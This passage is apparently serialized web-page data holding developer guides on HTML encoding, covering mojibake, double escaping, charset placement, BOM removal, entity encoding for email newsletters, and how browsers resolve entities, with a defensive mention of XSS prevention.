map",[1560,117231,8186],{"class":1669},[1560,117233,1658],{"class":1570},[1560,117235,117236],{"class":5634},"'&'",[1560,117238,1663],{"class":1570},[1560,117240,117116],{"class":5634},[1560,117242,1459],{"class":1570},[1560,117244,117245],{"class":5634},"'\u003C'",[1560,117247,1663],{"class":1570},[1560,117249,117250],{"class":5634},"'&lt;'",[1560,117252,1459],{"class":1570},[1560,117254,117255],{"class":5634},"'>'",[1560,117257,1663],{"class":1570},[1560,117259,117260],{"class":5634},"'&gt;'",[1560,117262,1459],{"class":1570},[1560,117264,117265],{"class":5634},"'\"'",[1560,117267,1663],{"class":1570},[1560,117269,117270],{"class":5634},"'&quot;'",[1560,117272,1459],{"class":1570},[1560,117274,117275],{"class":5634},"\"'\"",[1560,117277,1663],{"class":1570},[1560,117279,117280],{"class":5634},"'&apos;'",[1560,117282,27879],{"class":1570},[1560,117284,117285,117287,117289,117291,117293,117295,117298,117300,117302,117304,117306,117308],{"class":1562,"line":343},[1560,117286,9350],{"class":1669},[1560,117288,22718],{"class":1570},[1560,117290,22721],{"class":1566},[1560,117292,1688],{"class":1570},[1560,117294,9423],{"class":5634},[1560,117296,117297],{"class":1576},"[&\u003C>\"']",[1560,117299,9423],{"class":5634},[1560,117301,22733],{"class":1669},[1560,117303,1459],{"class":1570},[1560,117305,13943],{"class":2219},[1560,117307,9378],{"class":1669},[1560,117309,117310],{"class":1570}," map[c])\n",[1560,117312,117313],{"class":1562,"line":365},[1560,117314,1585],{"class":1570},[16,117316,117317,117318,117320,117321,1856,117324,117327],{},"Modern frameworks escape by default. Vue's ",[143,117319,116782],{}," syntax and React's JSX auto-encode. Only ",[143,117322,117323],{},"v-html",[143,117325,117326],{},"dangerouslySetInnerHTML"," bypass this protection.",[11,117329,117331],{"id":117330},"bug-4-charset-declaration-in-the-wrong-place","Bug 4: Charset Declaration in the Wrong Place",[16,117333,117334,117336],{},[47,117335,82452],{},": Characters display correctly in some browsers but not others, or work locally but break in production.",[16,117338,117339,117341,117342,117345],{},[47,117340,59374],{},": The ",[143,117343,117344],{},"\u003Cmeta charset>"," tag appears after the first 1024 bytes of the document. The browser must guess the encoding for those initial bytes, and its guess may be wrong.",[16,117347,117348,117350,117351,8037],{},[47,117349,3690],{},": Place the charset declaration as early as possible — ideally the first child of ",[143,117352,13169],{},[135,117354,117356],{"className":6417,"code":117355,"language":6419,"meta":141,"style":141},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n  \u003Cmeta charset=\"UTF-8\">\n  \u003Ctitle>My Page\u003C\u002Ftitle>\n\u003C\u002Fhead>\n",[143,117357,117358,117368,117376,117384,117398,117411],{"__ignoreMap":141},[1560,117359,117360,117362,117364,117366],{"class":1562,"line":1563},[1560,117361,108789],{"class":1570},[1560,117363,108792],{"class":2484},[1560,117365,108795],{"class":1566},[1560,117367,6441],{"class":1570},[1560,117369,117370,117372,117374],{"class":1562,"line":337},[1560,117371,6431],{"class":1570},[1560,117373,6419],{"class":2484},[1560,117375,6441],{"class":1570},[1560,117377,117378,117380,117382],{"class":1562,"line":343},[1560,117379,6431],{"class":1570},[1560,117381,40984],{"class":2484},[1560,117383,6441],{"class":1570},[1560,117385,117386,117388,117390,117392,117394,117396],{"class":1562,"line":365},[1560,117387,11223],{"class":1570},[1560,117389,108827],{"class":2484},[1560,117391,108830],{"class":1566},[1560,117393,7297],{"class":1570},[1560,117395,108835],{"class":5634},[1560,117397,6441],{"class":1570},[1560,117399,117400,117402,117404,117407,117409],{"class":1562,"line":889},[1560,117401,11223],{"class":1570},[1560,117403,108868],{"class":2484},[1560,117405,117406],{"class":1570},">My Page\u003C\u002F",[1560,117408,108868],{"class":2484},[1560,117410,6441],{"class":1570},[1560,117412,117413,117415,117417],{"class":1562,"line":1710},[1560,117414,11242],{"class":1570},[1560,117416,40984],{"class":2484},[1560,117418,6441],{"class":1570},[11,117420,117422],{"id":117421},"bug-5-inconsistent-encoding-across-layers","Bug 5: Inconsistent Encoding Across Layers",[16,117424,117425,117427],{},[47,117426,82452],{},": Data looks correct in the database but displays incorrectly on the page, or works in one environment but not another.",[16,117429,117430,117432],{},[47,117431,59374],{},": Different parts of the stack use different encodings. The database stores Latin-1, the application processes UTF-8, and the server header declares something else.",[16,117434,117435,117437],{},[47,117436,3690],{},": Audit every layer:",[193,117439,117440,117449],{},[196,117441,117442],{},[199,117443,117444,117446],{},[202,117445,45022],{},[202,117447,117448],{},"Check",[211,117450,117451,117462,117472,117480,117488],{},[199,117452,117453,117456],{},[216,117454,117455],{},"Database",[216,117457,117458,117461],{},[143,117459,117460],{},"SHOW VARIABLES LIKE 'character_set%';"," (MySQL)",[199,117463,117464,117467],{},[216,117465,117466],{},"Connection",[216,117468,117469],{},[143,117470,117471],{},"SET NAMES utf8mb4;",[199,117473,117474,117477],{},[216,117475,117476],{},"Application",[216,117478,117479],{},"Source files saved as UTF-8",[199,117481,117482,117485],{},[216,117483,117484],{},"Template",[216,117486,117487],{},"Meta charset declared",[199,117489,117490,117493],{},[216,117491,117492],{},"HTTP",[216,117494,117495,117498],{},[143,117496,117497],{},"Content-Type: text\u002Fhtml; charset=UTF-8"," header",[16,117500,1388,117501,81498,117504,117507],{},[143,117502,117503],{},"utf8mb4",[143,117505,117506],{},"utf8",") in MySQL to support full Unicode including 4-byte characters like emojis.",[11,117509,117511],{"id":117510},"bug-6-bom-related-issues","Bug 6: BOM-Related Issues",[16,117513,117514,117516,117517,117520],{},[47,117515,82452],{},": A mysterious blank space or ",[143,117518,117519],{},"ï»¿"," appears at the top of the page. PHP complains about \"headers already sent.\"",[16,117522,117523,117525],{},[47,117524,59374],{},": The file was saved with a UTF-8 Byte Order Mark (BOM) — three invisible bytes (EF BB BF) at the start of the file.",[16,117527,117528,117530],{},[47,117529,3690],{},": Save files as \"UTF-8 without BOM.\" Most editors have this option. For existing files, strip the BOM:",[135,117532,117534],{"className":6951,"code":117533,"language":6953,"meta":141,"style":141},"# Remove BOM from a file\nsed -i '1s\u002F^\\xEF\\xBB\\xBF\u002F\u002F' file.html\n",[143,117535,117536,117541],{"__ignoreMap":141},[1560,117537,117538],{"class":1562,"line":1563},[1560,117539,117540],{"class":1649},"# Remove BOM from a file\n",[1560,117542,117543,117546,117548,117551],{"class":1562,"line":337},[1560,117544,117545],{"class":1566},"sed",[1560,117547,11022],{"class":1576},[1560,117549,117550],{"class":5634}," '1s\u002F^\\xEF\\xBB\\xBF\u002F\u002F'",[1560,117552,117553],{"class":5634}," file.html\n",[11,117555,117557],{"id":117556},"prevention-checklist","Prevention Checklist",[41,117559,117560,117568,117575,117578,117581,117586],{},[44,117561,1943,117562,117565,117566],{},[143,117563,117564],{},"\u003Cmeta charset=\"UTF-8\">"," as the first element in ",[143,117567,13169],{},[44,117569,117570,117571,117574],{},"Verify the server sends ",[143,117572,117573],{},"charset=UTF-8"," in the Content-Type header",[44,117576,117577],{},"Save all source files as UTF-8 without BOM",[44,117579,117580],{},"Encode user output exactly once, at the HTML boundary",[44,117582,1388,117583,117585],{},[143,117584,117503],{}," for MySQL databases",[44,117587,117588],{},"Test with non-ASCII characters: accented letters, emojis, CJK characters",[11,117590,1355],{"id":1354},[41,117592,117593,117596,117602,117605,117611,117614],{},[44,117594,117595],{},"Mojibake happens when UTF-8 bytes are decoded as Latin-1 — fix the charset declaration",[44,117597,117598,117599,117601],{},"Double escaping produces visible entity text like ",[143,117600,117065],{}," — encode exactly once",[44,117603,117604],{},"Unescaped output enables XSS — always encode user data before rendering",[44,117606,117607,117608,117610],{},"Place ",[143,117609,117344],{}," within the first 1024 bytes of the document",[44,117612,117613],{},"Audit every layer of your stack for encoding consistency",[44,117615,117616],{},"Save files as UTF-8 without BOM to avoid invisible byte issues",[11,117618,321],{"id":320},[41,117620,117621,117627,117633],{},[44,117622,117623],{},[98,117624,117626],{"href":117625},"\u002Fguides\u002Fhtml-entities-guide","HTML Entities Guide",[44,117628,117629],{},[98,117630,117632],{"href":117631},"\u002Fguides\u002Fhtml-special-characters-reference","HTML Special Characters Reference",[44,117634,117635],{},[98,117636,12185],{"href":12184},[11,117638,286],{"id":285},[16,117640,117641,117642,117646],{},"Encode and decode HTML entities instantly with our free ",[98,117643,117645],{"href":117644},"\u002Ftools\u002Fhtml-entity","HTML Entity Encoder\u002FDecoder",". Paste text with encoding issues and get correctly encoded output in one click.",[2043,117648,117649],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":117651},[117652,117653,117654,117655,117656,117657,117658,117659,117660,117661,117662],{"id":116954,"depth":337,"text":116955},{"id":116967,"depth":337,"text":116968},{"id":117033,"depth":337,"text":117034},{"id":117185,"depth":337,"text":117186},{"id":117330,"depth":337,"text":117331},{"id":117421,"depth":337,"text":117422},{"id":117510,"depth":337,"text":117511},{"id":117556,"depth":337,"text":117557},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Identify and fix the most frequent HTML encoding problems — mojibake, double escaping, charset mismatches, and entity errors.",{"immutable":363},"\u002Fguides\u002Fhtml-encoding-bugs-fixes",{"title":116949,"description":117663},"guides\u002Fhtml-encoding-bugs-fixes","BcuKTUT3tiUvXcIpu4HyvYk-ToDZB-WvMudTqsC225M",{"id":117670,"title":117671,"body":117672,"date":2070,"description":118251,"extension":361,"meta":118252,"navigation":363,"path":118253,"readingTime":1710,"seo":118254,"stem":118255,"__hash__":118256},"guides\u002Fguides\u002Fhtml-encoding-email-newsletters.md","HTML Encoding for Email Newsletters",{"type":8,"value":117673,"toc":118233},[117674,117678,117681,117690,117694,117698,117701,117785,117789,117792,117906,117909,117913,117917,117923,117927,117933,117996,117999,118003,118012,118016,118083,118089,118093,118125,118127,118167,118169,118199,118201,118221,118223,118230],[11,117675,117677],{"id":117676},"why-html-encoding-matters-in-email","Why HTML Encoding Matters in Email",[16,117679,117680],{},"Email clients are not browsers. They strip, reinterpret, and mangle HTML in ways web developers never expect. A character that renders perfectly in Chrome can appear as a broken symbol in Outlook or become a garbled mess in Gmail.",[16,117682,117683,117684,1531,117686,117689],{},"HTML encoding — converting special characters into entity references like ",[143,117685,98619],{},[143,117687,117688],{},"&#8212;"," — ensures your content survives whichever rendering engine the recipient's client uses. If you send newsletters without attention to encoding, you are gambling with your brand's professionalism on every send.",[11,117691,117693],{"id":117692},"characters-that-break-without-encoding","Characters That Break Without Encoding",[33,117695,117697],{"id":117696},"the-unsafe-five","The unsafe five",[16,117699,117700],{},"These characters have structural meaning in HTML and must always be encoded:",[193,117702,117703,117714],{},[196,117704,117705],{},[199,117706,117707,117709,117711],{},[202,117708,7809],{},[202,117710,116629],{},[202,117712,117713],{},"Why it breaks email",[211,117715,117716,117732,117745,117758,117771],{},[199,117717,117718,117722,117726],{},[216,117719,117720],{},[143,117721,13530],{},[216,117723,117724],{},[143,117725,98619],{},[216,117727,117728,117729,117731],{},"Starts entity references; unencoded ",[143,117730,13530],{}," causes parser errors",[199,117733,117734,117738,117742],{},[216,117735,117736],{},[143,117737,6431],{},[216,117739,117740],{},[143,117741,116644],{},[216,117743,117744],{},"Opens tags; can inject or break markup",[199,117746,117747,117751,117755],{},[216,117748,117749],{},[143,117750,28226],{},[216,117752,117753],{},[143,117754,116658],{},[216,117756,117757],{},"Closes tags; can truncate content",[199,117759,117760,117764,117768],{},[216,117761,117762],{},[143,117763,8721],{},[216,117765,117766],{},[143,117767,116672],{},[216,117769,117770],{},"Delimits attributes; breaks inline styles",[199,117772,117773,117777,117782],{},[216,117774,117775],{},[143,117776,9361],{},[216,117778,117779],{},[143,117780,117781],{},"&apos;",[216,117783,117784],{},"Delimits attributes in XML-based clients",[33,117786,117788],{"id":117787},"typography-that-vanishes","Typography that vanishes",[16,117790,117791],{},"Smart quotes, em dashes, and ellipses often fail in plain-text email fallbacks or older clients. Encoding them explicitly guarantees rendering:",[193,117793,117794,117807],{},[196,117795,117796],{},[199,117797,117798,117800,117803,117805],{},[202,117799,7809],{},[202,117801,117802],{},"Named Entity",[202,117804,5271],{},[202,117806,24556],{},[211,117808,117809,117825,117842,117865,117888],{},[199,117810,117811,117813,117818,117822],{},[216,117812,3060],{},[216,117814,117815],{},[143,117816,117817],{},"&mdash;",[216,117819,117820],{},[143,117821,117688],{},[216,117823,117824],{},"Em dash in copy",[199,117826,117827,117829,117834,117839],{},[216,117828,1811],{},[216,117830,117831],{},[143,117832,117833],{},"&ndash;",[216,117835,117836],{},[143,117837,117838],{},"&#8211;",[216,117840,117841],{},"En dash in ranges",[199,117843,117844,117846,117854,117862],{},[216,117845,8721],{},[216,117847,117848,14237,117851],{},[143,117849,117850],{},"&ldquo;",[143,117852,117853],{},"&rdquo;",[216,117855,117856,14237,117859],{},[143,117857,117858],{},"&#8220;",[143,117860,117861],{},"&#8221;",[216,117863,117864],{},"Curly double quotes",[199,117866,117867,117869,117877,117885],{},[216,117868,9361],{},[216,117870,117871,14237,117874],{},[143,117872,117873],{},"&lsquo;",[143,117875,117876],{},"&rsquo;",[216,117878,117879,14237,117882],{},[143,117880,117881],{},"&#8216;",[143,117883,117884],{},"&#8217;",[216,117886,117887],{},"Curly single quotes",[199,117889,117890,117893,117898,117903],{},[216,117891,117892],{},"…",[216,117894,117895],{},[143,117896,117897],{},"&hellip;",[216,117899,117900],{},[143,117901,117902],{},"&#8230;",[216,117904,117905],{},"Ellipsis",[16,117907,117908],{},"Some email clients render named entities fine; others choke on obscure ones. Decimal numeric entities are the safest bet for maximum compatibility.",[11,117910,117912],{"id":117911},"email-specific-encoding-challenges","Email-Specific Encoding Challenges",[33,117914,117916],{"id":117915},"subject-lines-break-too","Subject lines break too",[16,117918,117919,117920,117922],{},"If your subject line contains an ampersand or emoji, encode it. Subject lines pass through SMTP headers, not just the HTML body. A bare ",[143,117921,13530],{}," in a subject can truncate the line or display as garbled text depending on the mailing service's encoding logic.",[33,117924,117926],{"id":117925},"url-parameters-inside-emails","URL parameters inside emails",[16,117928,117929,117930,117932],{},"Tracking links often contain ",[143,117931,13530],{}," separators between query parameters. Inside an HTML email attribute, those ampersands must be encoded:",[135,117934,117936],{"className":6417,"code":117935,"language":6419,"meta":141,"style":141},"\u003C!-- WRONG: bare ampersand in href -->\n\u003Ca href=\"https:\u002F\u002Fexample.com\u002Foffer?utm_source=newsletter&utm_medium=email\">Shop now\u003C\u002Fa>\n\n\u003C!-- CORRECT: encoded ampersands -->\n\u003Ca href=\"https:\u002F\u002Fexample.com\u002Foffer?utm_source=newsletter&amp;utm_medium=email\">Shop now\u003C\u002Fa>\n",[143,117937,117938,117943,117963,117967,117972],{"__ignoreMap":141},[1560,117939,117940],{"class":1562,"line":1563},[1560,117941,117942],{"class":1649},"\u003C!-- WRONG: bare ampersand in href -->\n",[1560,117944,117945,117947,117949,117951,117953,117956,117959,117961],{"class":1562,"line":337},[1560,117946,6431],{"class":1570},[1560,117948,98],{"class":2484},[1560,117950,41004],{"class":1566},[1560,117952,7297],{"class":1570},[1560,117954,117955],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Foffer?utm_source=newsletter&utm_medium=email\"",[1560,117957,117958],{"class":1570},">Shop now\u003C\u002F",[1560,117960,98],{"class":2484},[1560,117962,6441],{"class":1570},[1560,117964,117965],{"class":1562,"line":343},[1560,117966,1702],{"emptyLinePlaceholder":363},[1560,117968,117969],{"class":1562,"line":365},[1560,117970,117971],{"class":1649},"\u003C!-- CORRECT: encoded ampersands -->\n",[1560,117973,117974,117976,117978,117980,117982,117985,117987,117990,117992,117994],{"class":1562,"line":889},[1560,117975,6431],{"class":1570},[1560,117977,98],{"class":2484},[1560,117979,41004],{"class":1566},[1560,117981,7297],{"class":1570},[1560,117983,117984],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Foffer?utm_source=newsletter",[1560,117986,98619],{"class":1576},[1560,117988,117989],{"class":5634},"utm_medium=email\"",[1560,117991,117958],{"class":1570},[1560,117993,98],{"class":2484},[1560,117995,6441],{"class":1570},[16,117997,117998],{},"Most email service providers handle this automatically. If you inject raw URLs into templates yourself, encode them manually or use an HTML encoder tool.",[33,118000,118002],{"id":118001},"microsoft-outlook-and-word-html","Microsoft Outlook and Word HTML",[16,118004,118005,118006,118008,118009,118011],{},"Outlook uses Word's HTML rendering engine. It supports a limited entity set and silently drops anything it does not recognize. If you use ",[143,118007,117781],{},", Outlook 2016 may strip it entirely — prefer ",[143,118010,116686],{}," for apostrophes in Outlook-targeted emails.",[11,118013,118015],{"id":118014},"encoding-across-email-service-providers","Encoding Across Email Service Providers",[193,118017,118018,118032],{},[196,118019,118020],{},[199,118021,118022,118024,118027,118030],{},[202,118023,10794],{},[202,118025,118026],{},"Auto-encodes output?",[202,118028,118029],{},"Handles named entities?",[202,118031,2683],{},[211,118033,118034,118047,118059,118071],{},[199,118035,118036,118039,118042,118044],{},[216,118037,118038],{},"Mailchimp",[216,118040,118041],{},"Yes (mostly)",[216,118043,3057],{},[216,118045,118046],{},"Double-encodes if you encode first — encode only raw data",[199,118048,118049,118052,118054,118056],{},[216,118050,118051],{},"SendGrid",[216,118053,10731],{},[216,118055,3057],{},[216,118057,118058],{},"Test dynamic template variables carefully",[199,118060,118061,118064,118066,118068],{},[216,118062,118063],{},"Campaign Monitor",[216,118065,3057],{},[216,118067,3057],{},[216,118069,118070],{},"Template language may interfere with entities",[199,118072,118073,118076,118078,118080],{},[216,118074,118075],{},"Postmark",[216,118077,6117],{},[216,118079,3057],{},[216,118081,118082],{},"You must encode content yourself before sending",[16,118084,118085,118086,118088],{},"If your ESP auto-encodes, do not pre-encode your content — you will get double-encoded output like ",[143,118087,117065],{}," visible to recipients.",[11,118090,118092],{"id":118091},"practical-workflow","Practical Workflow",[77,118094,118095,118101,118107,118113,118119],{},[44,118096,118097,118100],{},[47,118098,118099],{},"Write content in plain text"," without any entity encoding",[44,118102,118103,118106],{},[47,118104,118105],{},"Run it through an HTML encoder"," before pasting into your email template",[44,118108,118109,118112],{},[47,118110,118111],{},"Encode URLs separately"," — ensure query parameter ampersands are encoded but the URL structure stays intact",[44,118114,118115,118118],{},[47,118116,118117],{},"Test in multiple clients"," — at minimum: Gmail (web), Outlook (desktop), Apple Mail, and a mobile client",[44,118120,118121,118124],{},[47,118122,118123],{},"Check the plain-text fallback"," — some clients strip entities entirely and serve plain text; make sure the content still reads well",[11,118126,2341],{"id":2340},[41,118128,118129,118138,118144,118150,118161],{},[44,118130,118131,118134,118135,118137],{},[47,118132,118133],{},"Double-encoding"," — encoding content that your ESP will encode again, producing visible ",[143,118136,98619],{}," in the email",[44,118139,118140,118143],{},[47,118141,118142],{},"Forgetting subject lines"," — unencoded special characters in subjects get mangled in transit",[44,118145,118146,118149],{},[47,118147,118148],{},"Using named entities Outlook ignores"," — stick to numeric entities for maximum safety",[44,118151,118152,118155,118156,98763,118158,118160],{},[47,118153,118154],{},"Encoding image URLs"," — encoding ",[143,118157,13530],{},[143,118159,87323],{}," can break image loading in some clients",[44,118162,118163,118166],{},[47,118164,118165],{},"Assuming emoji works everywhere"," — emoji requires UTF-8 encoding on both the sending server and the receiving client; test before relying on it",[11,118168,1355],{"id":1354},[41,118170,118171,118178,118187,118190,118193,118196],{},[44,118172,118173,118174,118177],{},"Always encode the five unsafe characters (",[143,118175,118176],{},"& \u003C > \" '",") in email HTML bodies",[44,118179,118180,118181,118183,118184,118186],{},"Use numeric entities (",[143,118182,117688],{},") over named ones (",[143,118185,117817],{},") for Outlook compatibility",[44,118188,118189],{},"Encode query parameter ampersands in URLs but never double-encode",[44,118191,118192],{},"Subject lines need encoding too — do not forget them",[44,118194,118195],{},"Test in Outlook specifically — it drops entities it does not understand",[44,118197,118198],{},"Know your ESP's auto-encoding behavior to avoid double-encoding",[11,118200,321],{"id":320},[41,118202,118203,118209,118215],{},[44,118204,118205],{},[98,118206,118208],{"href":118207},"\u002Fguides\u002Fhtml-encoding-guide","HTML Encoding Guide",[44,118210,118211],{},[98,118212,118214],{"href":118213},"\u002Fguides\u002Fhtml-entity-reference","HTML Entity Reference",[44,118216,118217],{},[98,118218,118220],{"href":118219},"\u002Fguides\u002Fhtml-encoding-vs-url-encoding","HTML Encoding vs URL Encoding",[11,118222,286],{"id":285},[16,118224,118225,118226,118229],{},"Encode your newsletter content safely with our free ",[98,118227,118228],{"href":116496},"HTML Encoder\u002FDecoder",". Paste your copy, get properly encoded output, and paste it into your email template — one click, no signup.",[2043,118231,118232],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":118234},[118235,118236,118240,118245,118246,118247,118248,118249,118250],{"id":117676,"depth":337,"text":117677},{"id":117692,"depth":337,"text":117693,"children":118237},[118238,118239],{"id":117696,"depth":343,"text":117697},{"id":117787,"depth":343,"text":117788},{"id":117911,"depth":337,"text":117912,"children":118241},[118242,118243,118244],{"id":117915,"depth":343,"text":117916},{"id":117925,"depth":343,"text":117926},{"id":118001,"depth":343,"text":118002},{"id":118014,"depth":337,"text":118015},{"id":118091,"depth":337,"text":118092},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how HTML encoding keeps your email newsletters rendering correctly across clients — entities, special characters, and common pitfalls.",{"immutable":363},"\u002Fguides\u002Fhtml-encoding-email-newsletters",{"title":117671,"description":118251},"guides\u002Fhtml-encoding-email-newsletters","UrRSdqW-324RRvjdANwIuyOjECAxI4b2_p1ZCfSpyt4",{"id":118258,"title":118259,"body":118260,"date":2070,"description":119121,"extension":361,"meta":119122,"navigation":363,"path":118207,"readingTime":1710,"seo":119123,"stem":119124,"__hash__":119125},"guides\u002Fguides\u002Fhtml-encoding-guide.md","HTML Encoding Guide: How Browsers Process Entities",{"type":8,"value":118261,"toc":119093},[118262,118266,118274,118277,118281,118285,118288,118368,118374,118378,118390,118394,118397,118401,118404,118408,118417,118421,118438,118442,118457,118466,118468,118470,118473,118532,118535,118539,118542,118610,118619,118623,118629,118714,118717,118721,118724,118774,118777,118781,118784,118787,118823,118826,118830,118953,118956,118959,119009,119013,119043,119045,119065,119067,119083,119085,119090],[11,118263,118265],{"id":118264},"what-is-html-encoding","What Is HTML Encoding?",[16,118267,118268,118269,55616,118271,118273],{},"HTML encoding converts characters that have special meaning in HTML into safe entity sequences. When you write ",[143,118270,116644],{},[143,118272,6431],{},", you tell the browser to display a less-than sign — not open a tag.",[16,118275,118276],{},"Encoding protects your markup from breaking and your users from injection attacks. Every web developer touches HTML encoding, whether manually or through a framework's auto-escaping.",[11,118278,118280],{"id":118279},"why-encode-special-characters","Why Encode Special Characters?",[33,118282,118284],{"id":118283},"prevent-markup-breakage","Prevent markup breakage",[16,118286,118287],{},"Five characters can destroy your HTML if left unencoded:",[193,118289,118290,118301],{},[196,118291,118292],{},[199,118293,118294,118296,118298],{},[202,118295,7809],{},[202,118297,116629],{},[202,118299,118300],{},"Why it matters",[211,118302,118303,118316,118329,118342,118355],{},[199,118304,118305,118309,118313],{},[216,118306,118307],{},[143,118308,13530],{},[216,118310,118311],{},[143,118312,98619],{},[216,118314,118315],{},"Starts every entity reference",[199,118317,118318,118322,118326],{},[216,118319,118320],{},[143,118321,6431],{},[216,118323,118324],{},[143,118325,116644],{},[216,118327,118328],{},"Opens an HTML tag",[199,118330,118331,118335,118339],{},[216,118332,118333],{},[143,118334,28226],{},[216,118336,118337],{},[143,118338,116658],{},[216,118340,118341],{},"Closes an HTML tag",[199,118343,118344,118348,118352],{},[216,118345,118346],{},[143,118347,8721],{},[216,118349,118350],{},[143,118351,116672],{},[216,118353,118354],{},"Delimits attribute values",[199,118356,118357,118361,118365],{},[216,118358,118359],{},[143,118360,9361],{},[216,118362,118363],{},[143,118364,117781],{},[216,118366,118367],{},"Delimits attribute values (HTML5\u002FXML)",[16,118369,118370,118371,118373],{},"A single unencoded ",[143,118372,13530],{}," in a paragraph can cause the browser to misread everything after it as a broken entity.",[33,118375,118377],{"id":118376},"stop-xss-attacks","Stop XSS attacks",[16,118379,118380,118381,118383,118384,28833,118386,118389],{},"When you render user input as HTML, unencoded ",[143,118382,34727],{}," tags execute. Entity encoding defangs the payload — ",[143,118385,34727],{},[143,118387,118388],{},"&lt;script&gt;",", and the browser renders it as harmless text.",[33,118391,118393],{"id":118392},"display-symbols-correctly","Display symbols correctly",[16,118395,118396],{},"Currency signs, mathematical operators, and typographic marks often need entities when your editor or source control cannot handle the raw Unicode character.",[11,118398,118400],{"id":118399},"how-browsers-process-entities","How Browsers Process Entities",[16,118402,118403],{},"Understanding the parsing order helps you avoid subtle bugs.",[33,118405,118407],{"id":118406},"step-1-tokenization","Step 1: Tokenization",[16,118409,118410,118411,118413,118414,118416],{},"The browser's HTML tokenizer reads the raw byte stream character by character. When it encounters ",[143,118412,13530],{},", it enters \"entity state\" and collects characters until it hits ",[143,118415,36973],{}," or a non-entity character.",[33,118418,118420],{"id":118419},"step-2-entity-resolution","Step 2: Entity resolution",[16,118422,118423,118424,52609,118426,1459,118428,52609,118431,118434,118435,118437],{},"The tokenizer looks up the entity name in its internal table. If it finds a match — ",[143,118425,98619],{},[143,118427,13530],{},[143,118429,118430],{},"&copy;",[143,118432,118433],{},"©"," — it replaces the entire entity with the corresponding character. If no match exists, the browser treats the ",[143,118436,13530],{}," and following text as literal content.",[33,118439,118441],{"id":118440},"step-3-dom-construction","Step 3: DOM construction",[16,118443,118444,118445,1856,118447,118449,118450,118453,118454,118456],{},"The resolved characters feed into the DOM builder. At this point, ",[143,118446,6431],{},[143,118448,28226],{}," that arrived via entity resolution are plain text nodes — not markup. This is why ",[143,118451,118452],{},"&lt;div&gt;"," renders as the visible text ",[143,118455,69003],{}," instead of creating a DOM element.",[16,118458,118459,118462,118463,118465],{},[47,118460,118461],{},"Key insight:"," Entity resolution happens ",[7310,118464,12137],{}," the browser builds DOM nodes. An entity can never \"escape\" into markup once the tokenizer resolves it.",[11,118467,2341],{"id":2340},[33,118469,101941],{"id":101940},[16,118471,118472],{},"Encoding a string that already contains entities produces garbled output:",[135,118474,118476],{"className":6417,"code":118475,"language":6419,"meta":141,"style":141},"\u003C!-- Original -->\n\u003Cp>5 &gt; 3\u003C\u002Fp>\n\n\u003C!-- Double-encoded (wrong) -->\n\u003Cp>5 &amp;gt; 3\u003C\u002Fp>\n\u003C!-- Renders as: 5 &gt; 3 (literal text, not \"5 > 3\") -->\n",[143,118477,118478,118483,118501,118505,118510,118527],{"__ignoreMap":141},[1560,118479,118480],{"class":1562,"line":1563},[1560,118481,118482],{"class":1649},"\u003C!-- Original 